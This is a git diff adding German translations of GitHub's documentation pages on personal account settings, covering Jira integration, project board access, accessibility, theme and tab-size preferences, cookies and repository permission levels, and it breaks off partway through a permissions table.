+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+children:
+  - /about-your-personal-dashboard
+  - /managing-your-theme-settings
+  - /managing-your-tab-size-rendering-preference
+  - /changing-your-github-username
+  - /permission-levels-for-a-personal-account-repository
+  - /permission-levels-for-a-project-board-owned-by-a-personal-account
+  - /managing-accessibility-settings
+  - /managing-the-default-branch-name-for-your-repositories
+  - /managing-security-and-analysis-settings-for-your-personal-account
+  - /managing-access-to-your-personal-accounts-project-boards
+  - /managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages
+  - /integrating-jira-with-your-personal-projects
+  - /what-does-the-available-for-hire-checkbox-do
+shortTitle: Personal account settings
+ms.openlocfilehash: fcb653fa2fd40c206deefdaf967bae6104393537
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147760863'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects.md
new file mode 100644
index 0000000000..9f6aa49e71
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects.md
@@ -0,0 +1,30 @@
+---
+title: Integrating Jira with your personal projects
+intro: 'You can integrate Jira Cloud with your personal account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.'
+redirect_from:
+  - /articles/integrating-jira-with-your-personal-projects
+  - /github/setting-up-and-managing-your-github-user-account/integrating-jira-with-your-personal-projects
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects
+versions:
+  ghes: '*'
+  ghae: '*'
+shortTitle: Integrate Jira with projects
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.oauth_apps %}
+1. Click **Register a new application**.
+2. Under **Application name**, type "Jira".
+3. Under **Homepage URL**, type the full URL to your Jira instance.
+4. Under **Authorization callback URL**, type the full URL to your Jira instance.
+5. Click **Register application**.
+![Register application button](/assets/images/help/oauth/register-application-button.png)
+8. Under **Developer applications**, note the "Client ID" and "Client Secret" values.
+![Client ID and Client Secret](/assets/images/help/oauth/client-id-and-secret.png)
+{% data reusables.user-settings.jira_help_docs %}
+
+## Further reading
+
+- ["Integrating Jira with your organization project board"](/articles/integrating-jira-with-your-organization-project-board)
+- <a href="https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html" data-proofer-ignore>Connect Jira Cloud to GitHub</a> (Atlassian documentation)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards.md
new file mode 100644
index 0000000000..97f200ce62
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards.md
@@ -0,0 +1,39 @@
+---
+title: Verwalten des Zugriffs auf die Projektboards deines persönlichen Kontos
+intro: Als Projektboard-Inhaber kannst du einen Mitarbeiter hinzufügen oder entfernen und seine Berechtigungen für das Projektboard anpassen.
+redirect_from:
+  - /articles/managing-project-boards-in-your-repository-or-organization
+  - /articles/managing-access-to-your-user-account-s-project-boards
+  - /articles/managing-access-to-your-user-accounts-project-boards
+  - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-user-accounts-project-boards
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Manage access project boards
+ms.openlocfilehash: 4cbf968cee79ac8e4aafbc5eea8220949cf80a30
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145164938'
+---
+Ein Mitarbeiter ist eine Person, die Berechtigungen für eines Deiner Projektboards besitzt. Die Berechtigung eines Mitarbeiters ist standardmäßig der Lesezugriff. Weitere Informationen findest du unter [Berechtigungsstufen für benutzereigene Projektboards](/articles/permission-levels-for-user-owned-project-boards).
+
+## Mitarbeiter in ein Benutzer-Projektboard einladen
+
+1. Navigiere zu dem Projektboard, zu dem Du einen Mitarbeiter hinzufügen möchtest.
+{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %}
+5. Gib unter „Search by username, full name or email address“ (Nach Benutzernamen, vollständigem Namen oder E-Mail-Adresse suchen) den Namen, den Benutzernamen oder die {% data variables.product.prodname_dotcom %}-E-Mail-Adresse des Mitarbeiters ein.
+   ![Der Abschnitt „Mitarbeiter“ mit Octocat-Benutzernamen im Suchfeld](/assets/images/help/projects/org-project-collaborators-find-name.png) {% data reusables.project-management.add-collaborator %}
+7. Der neue Mitarbeiter besitzt standardmäßig Leseberechtigung. Wähle optional im Dropdownmenü neben dem Namen des neuen Mitarbeiters eine andere Berechtigungsebene aus.
+  ![Der Abschnitt „Mitarbeiter“ mit ausgewähltem Dropdownmenü „Berechtigungen“](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
+
+## Mitarbeiter aus einem Benutzer-Projektboard entfernen
+
+{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.remove-collaborator %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md
new file mode 100644
index 0000000000..adc3594e49
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md
@@ -0,0 +1,54 @@
+---
+title: Verwalten von Barrierefreiheitseinstellungen
+shortTitle: Manage accessibility settings
+intro: 'Die Benutzeroberfläche von {% data variables.product.product_name %} kann an deine visuellen, auditiven, motorischen, kognitiven oder lernspezifischen Bedürfnisse angepasst werden.'
+versions:
+  feature: keyboard-shortcut-accessibility-setting
+redirect_from:
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings
+type: how_to
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 088bb097004f6c3b13412ec9716665b1f02edca5
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107213'
+---
+## Informationen zu Barrierefreiheitseinstellungen
+
+Um eine Benutzeroberfläche auf {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} zu erstellen, die deinen Anforderungen entspricht, kannst du die Benutzeroberfläche anpassen. Barrierefreiheitseinstellungen können für Personen mit Behinderungen unerlässlich, aber für jeden nützlich sein. Die Anpassung von Tastenkombinationen ist beispielsweise für Personen wichtig, die mit der Sprachsteuerung navigieren, kann aber für jeden nützlich sein, wenn eine Tastenkombination für {% data variables.product.product_name %} mit einer Tastenkombination einer anderen Anwendung im Konflikt steht.
+
+## Verwalten von Barrierefreiheitseinstellungen
+
+Du kannst entscheiden, ob du einige oder alle Tastenkombinationen auf {% ifversion fpt or ghec %}{% data variables.location.product_location %}{% elsif ghes or ghae %}der Website für {% data variables.location.product_location %}{% endif %} verwenden möchtest, und du kannst die Anzeige animierter Bilder steuern.
+
+### Verwalten von Tastenkombinationen
+
+Du kannst Aktionen auf der {% data variables.product.product_name %}-Website ausschließlich mit der Tastatur ausführen. Tastenkombinationen können nützlich sein, um Zeit zu sparen, doch sie können versehentlich aktiviert werden oder Hilfstechnologie beeinträchtigen.
+
+Standardmäßig sind alle Tastenkombinationen für {% data variables.product.product_name %} aktiviert. Weitere Informationen findest du unter [Tastenkombinationen](/get-started/using-github/keyboard-shortcuts).
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.accessibility_settings %}
+1. Verwalte unter „Tastenkombinationen“ die Einstellungen für deine Tastenkombinationen.
+
+   - Um Tastenkombinationen zu deaktivieren, die keine Zusatztasten wie <kbd>Steuerelement</kbd> oder <kbd>Befehl</kbd> verwenden, deaktiviere unter „Allgemein“ die Option **Zeichentasten**.
+     - Wenn du Zeichentasten deaktivierst, kannst du möglicherweise dennoch Tastenkombinationen für deinen Webbrowser auslösen, und du kannst weiterhin Tastenkombinationen für {% data variables.product.product_name %} auslösen, die eine Zusatztaste verwenden.
+   {%- ifversion command-palette %}
+   - Um die Tastenkombinationen zum Auslösen der Befehlspalette anzupassen, kannst du in den Dropdownmenüs unter „Befehlspalette“ eine Tastenkombination wählen. Weitere Informationen findest du unter [{% data variables.product.company_short %}-Befehlspalette](/get-started/using-github/github-command-palette).
+   {%- endif %}
+
+{% ifversion motion-management %}
+
+### Verwalten von Bewegung
+
+Du kannst steuern, wie {% data variables.product.product_name %} animierte _GIF_-Bilder anzeigt.
+
+Standardmäßig ist {% data variables.product.product_name %} mit deiner Einstellung auf Systemebene für reduzierte Bewegung synchronisiert. Weitere Informationen findest du in der Dokumentation oder in den Einstellungen deines Betriebssystems.
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.accessibility_settings %}
+1. Verwalte unter „Bewegung“ Einstellungen für Bewegung.
+
+   - Unter „Animierte Bilder automatisch wiedergeben“ kannst du steuern, wie in {% data variables.product.product_name %} animierte Bilder angezeigt werden sollen: **Synchron mit System**, **Aktiviert** oder **Deaktiviert**.
+
+{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md
new file mode 100644
index 0000000000..52815b7a7d
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md
@@ -0,0 +1,54 @@
+---
+title: Managing security and analysis settings for your personal account
+intro: 'You can control features that secure and analyze the code in your projects on {% data variables.product.prodname_dotcom %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Accounts
+redirect_from:
+  - /github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account
+shortTitle: Manage security & analysis
+---
+## About management of security and analysis settings
+
+{% data variables.product.prodname_dotcom %} can help secure your repositories. This topic tells you how you can manage the security and analysis features for all your existing or new repositories.
+
+You can still manage the security and analysis features for individual repositories. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+
+You can also review the security log for all activity on your personal account. For more information, see "[Reviewing your security log](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log)."
+
+{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
+
+{% data reusables.security.security-and-analysis-features-enable-read-only %}
+
+For an overview of repository-level security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
+
+## Enabling or disabling features for existing repositories
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security-analysis %}
+3. Under "Code security and analysis", to the right of the feature, click **Disable all** or **Enable all**.
+  {% ifversion ghes %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/settings/security-and-analysis-disable-or-enable-all.png){% else %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/settings/security-and-analysis-disable-or-enable-all.png){% endif %}
+6. Optionally, enable the feature by default for new repositories that you own.
+  {% ifversion ghes %}!["Enable by default" option for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-by-default-in-modal.png){% else %}!["Enable by default" option for new repositories](/assets/images/help/settings/security-and-analysis-enable-by-default-in-modal.png){% endif %}
+7. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories you own.
+  {% ifversion ghes %}![Button to disable or enable feature](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-dependency-graph.png){% else %}![Button to disable or enable feature](/assets/images/help/settings/security-and-analysis-enable-dependency-graph.png){% endif %}
+
+{% data reusables.security.displayed-information %}
+
+## Enabling or disabling features for new repositories
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security-analysis %}
+3. Under "Code security and analysis", to the right of the feature, enable or disable the feature by default for new repositories that you own.
+  {% ifversion ghes %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% else %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% endif %}
+
+## Further reading
+
+- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
+- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
+- "[Keeping your dependencies updated automatically](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md
new file mode 100644
index 0000000000..25c69e1a94
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md
@@ -0,0 +1,36 @@
+---
+title: Managing the default branch name for your repositories
+intro: 'You can set the default branch name for new repositories that you create on {% data variables.location.product_location %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+redirect_from:
+  - /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories
+shortTitle: Manage default branch name
+---
+## About management of the default branch name
+
+When you create a new repository on {% data variables.location.product_location %}, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories you create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+
+{% data reusables.branches.change-default-branch %}
+
+## Setting the default branch name
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.repo-tab %}
+3. Under "Repository default branch", click **Change default branch name now**.
+    ![Override button](/assets/images/help/settings/repo-default-name-button.png)
+4. Type the default name that you would like to use for new branches.
+    ![Text box for entering default name](/assets/images/help/settings/repo-default-name-text.png)
+5. Click **Update**.
+    ![Update button](/assets/images/help/settings/repo-default-name-update.png)
+
+## Further reading
+
+- "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md
new file mode 100644
index 0000000000..81cc166828
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md
@@ -0,0 +1,38 @@
+---
+title: Verwalten deiner Cookieeinstellungen für die Unternehmensmarketingseiten von GitHub
+intro: 'Du kannst steuern, wie {% data variables.product.company_short %} Informationen aus nicht essenziellen Nachverfolgungscookies für Unternehmensmarketingseiten verwendet.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Manage cookie preferences
+ms.openlocfilehash: 44f0324a91f8447a10947d5f5c7be111241ad091
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108290'
+---
+## Informationen zu Cookieeinstellungen auf Unternehmensmarketingseiten
+
+{% data variables.product.company_short %} kann auf einigen Unternehmensmarketingseiten nicht essenzielle Cookies verwenden. Du kannst anpassen, wie sich diese Cookies verhalten. Weitere Informationen dazu, wie {% data variables.product.company_short %} Cookies verwendet, findest du in den [{% data variables.product.company_short %}-Datenschutzbestimmungen](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement).
+
+## Ändern deiner Cookieeinstellungen
+
+Du kannst anpassen, wie sich nicht essenzielle Cookies auf einer {% data variables.product.company_short %}-Unternehmensmarketingseite verhalten.
+
+1. Navigiere zu der {% data variables.product.company_short %}-Unternehmensmarketingseite, auf der du deine Cookieeinstellungen ändern möchtest. Navigiere beispielsweise zu [{% data variables.product.company_short %}-Ressourcen](https://resources.github.com/).
+1. Scrolle zum unteren Ende der Seite, und klicke dann auf **Cookies verwalten**.
+
+   ![Screenshot: Schaltfläche zum Verwalten von Cookieeinstellungen](/assets/images/help/settings/cookie-settings-manage.png)
+
+1. Klicke unter „Cookieeinstellungen verwalten“ auf **Annehmen** oder **Ablehnen**, um jedes nicht essenzielle Cookie anzunehmen oder abzulehnen.
+
+   ![Screenshot: Optionsschaltflächen zum Auswählen von „Annehmen“ oder „Ablehnen“ für nicht essenzielle Cookies](/assets/images/help/settings/cookie-settings-accept-or-reject.png)
+
+1. Klicke auf **Änderungen speichern**.
+
+   ![Screenshot: Schaltfläche zum Speichern von Änderungen](/assets/images/help/settings/cookie-settings-save.png)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference.md
new file mode 100644
index 0000000000..1dbe638e39
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference.md
@@ -0,0 +1,26 @@
+---
+title: Verwalten der Renderingeinstellungen für die Tabulatorgröße
+intro: 'Du kannst die Anzahl von Leerzeichen verwalten, die einer Registerkarte für dein persönliches Konto entspricht.'
+versions:
+  fpt: '*'
+  ghae: '>= 3.4'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Managing your tab size
+redirect_from:
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference
+ms.openlocfilehash: e3188b508e5ffb84266bc4b7689a5cbc16aa07de
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145165005'
+---
+Wenn du der Meinung bist, dass der Tabulatoreinzug in Code, der in {% data variables.product.product_name %} gerendert wird, zu groß oder zu klein ist, kannst du dies in den Einstellungen ändern.
+
+{% data reusables.user-settings.access_settings %}
+1. Klicke in der linken Seitenleiste auf **{% octicon "paintbrush" aria-label="The paintbrush icon" %} Darstellung**.
+2. Klicke unter „Einstellung der Tabulatorgröße“ auf das Dropdownmenü, und wähle die gewünschte Einstellung aus.
+   ![Schaltfläche zum Einstellen der Tabulatorgröße](/assets/images/help/settings/tab-size-preference.png )
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings.md
new file mode 100644
index 0000000000..584121c0e5
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings.md
@@ -0,0 +1,63 @@
+---
+title: Managing your theme settings
+intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.'
+versions:
+  fpt: '*'
+  ghae: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Accounts
+redirect_from:
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-theme-settings
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings
+shortTitle: Manage theme settings
+---
+
+For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings.
+
+You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks.
+
+If you have low vision, you may benefit from a high contrast theme, with greater contrast between foreground and background elements.{% ifversion fpt or ghae or ghec %} If you have colorblindness, you may benefit from our light and dark colorblind themes.
+
+{% endif %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.appearance-settings %}
+
+1. Under "Theme mode", select the drop-down menu, then click a theme preference.
+
+   ![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png)
+1. Click the theme you'd like to use.
+    - If you chose a single theme, click a theme.
+
+      {%- ifversion ghes = 3.5 %}
+      {% note %}
+
+      **Note**: The light high contrast theme was unavailable in {% data variables.product.product_name %} 3.5.0, 3.5.1, 3.5.2, and 3.5.3. The theme is available in 3.5.4 and later. For more information about upgrades, contact your site administrator.
+
+      For more information about determining the version of {% data variables.product.product_name %} you're using, see "[About versions of  {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)."
+      {% endnote %}
+      {%- endif %}
+
+      ![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png)
+    - If you chose to follow your system settings, click a day theme and a night theme.
+
+      ![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png)
+    {% ifversion fpt or ghec %}
+    - If you would like to choose a theme which is currently in public beta, you will first need to enable it with feature preview. For more information, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)."{% endif %}
+
+{% ifversion command-palette %}
+
+{% note %}
+
+**Note:** You can also change your theme settings with the command palette. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)".
+
+{% endnote %}
+
+{% endif %}
+
+## Further reading
+
+- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository.md
new file mode 100644
index 0000000000..73340aee4f
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository.md
@@ -0,0 +1,98 @@
+---
+title: Berechtigungsebenen für ein Repository in einem persönlichen Konto
+intro: Ein Repository im Besitz eines persönlichen Kontos verfügt über die beiden Berechtigungsstufen Repositorybesitzer und Mitarbeiter.
+redirect_from:
+  - /articles/permission-levels-for-a-user-account-repository
+  - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Repository permissions
+ms.openlocfilehash: dd2124c23054fa7bd44bb6501dae4363e59bab75
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148113873'
+---
+## Informationen zu Berechtigungsebenen für ein Repository eines persönlichen Kontos
+
+Repositorys im Besitz persönlicher Konten haben jeweils nur einen Besitzer. Besitzberechtigungen können nicht mit einem anderen persönlichen Konto geteilt werden.
+
+Du kannst deinem Repository auch Benutzer*innen auf {% data variables.product.product_name %} als Projektmitarbeiter*innen {% ifversion fpt or ghec %}invite{% else %}hinzufügen{% endif %}. Weitere Informationen findest du unter [Einladen von Projektmitarbeiter*innen zu einem persönlichen Repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository).
+
+{% tip %}
+
+**Tipp:** Wenn du einen detaillierteren Zugriff auf ein Repository benötigst, das zu deinem persönlichen Konto gehört, kannst du das Repository an eine Organisation übertragen. Weitere Informationen findest du unter [Übertragen eines Repositorys](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-personal-account).
+
+{% endtip %}
+
+## Besitzerzugriff auf ein Repository im Besitz eines persönlichen Kontos
+
+Der Repository-Inhaber besitzt die vollständige Kontrolle über das Repository. Zusätzlich zu den Aktionen, die jede*r Projektmitarbeiter*in ausführen kann, kann der oder die Repositorybesitzer*in die folgenden Aktionen ausführen.
+
+| Aktion | Weitere Informationen |
+| :- | :- |
+| {% ifversion fpt or ghec %}Einladen von Projektmitarbeiter*innen{% else %}Hinzufügen von Projektmitarbeiter*innen{% endif %} | [Einladen von Projektmitarbeiter*innen in ein persönliches Repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository) |
+| Ändern der Sichtbarkeit des Repositorys | [Festlegen der Sichtbarkeit eines Repository](/github/administering-a-repository/setting-repository-visibility) |{% ifversion fpt or ghec %}
+| Einschränken von Interaktionen mit dem Repository | [Einschränken von Interaktionen mit dem Repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) |{% endif %}
+| Umbenennen eines Branchs, einschließlich des Standardbranchs | [Umbenennen eines Branchs](/github/administering-a-repository/renaming-a-branch) |
+| Einen Pull Request auf einem geschützten Branch zusammenführen, selbst ohne genehmigende Reviews | [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches) |
+| Das Repository löschen | [Löschen eines Repositorys](/repositories/creating-and-managing-repositories/deleting-a-repository) |
+| Verwalten der Themen des Repositorys | [Klassifizieren deines Repositorys mit Themen](/github/administering-a-repository/classifying-your-repository-with-topics) |{% ifversion fpt or ghec %}
+| Verwalten von Sicherheits- und Analyseeinstellungen für das Repository | [Verwalten von Sicherheits- und Analyseeinstellungen für das Repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository) |{% endif %}{% ifversion fpt or ghec %}
+| Aktivieren des Abhängigkeitsdiagramms für ein privates Repository | [Untersuchen der Abhängigkeiten eines Repositorys](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository) |{% endif %}
+| Löschen und Wiederherstellen von Paketen | [Löschen und Wiederherstellen eines Pakets](/packages/learn-github-packages/deleting-and-restoring-a-package) |
+| Anpassen der Social-Media-Vorschau des Repositorys | [Anpassen der Social-Media-Vorschau des Repositorys](/github/administering-a-repository/customizing-your-repositorys-social-media-preview) |
+| Erstellen einer Vorlage aus dem Repository | [Erstellen einer Repository-Vorlage](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository) |
+| Steuern des Zugriffs auf {% data variables.product.prodname_dependabot_alerts %}| [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) |{% ifversion fpt or ghec %}
+| Verwerfen von {% data variables.product.prodname_dependabot_alerts %} im Repository | [Anzeigen und Aktualisieren von {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) |
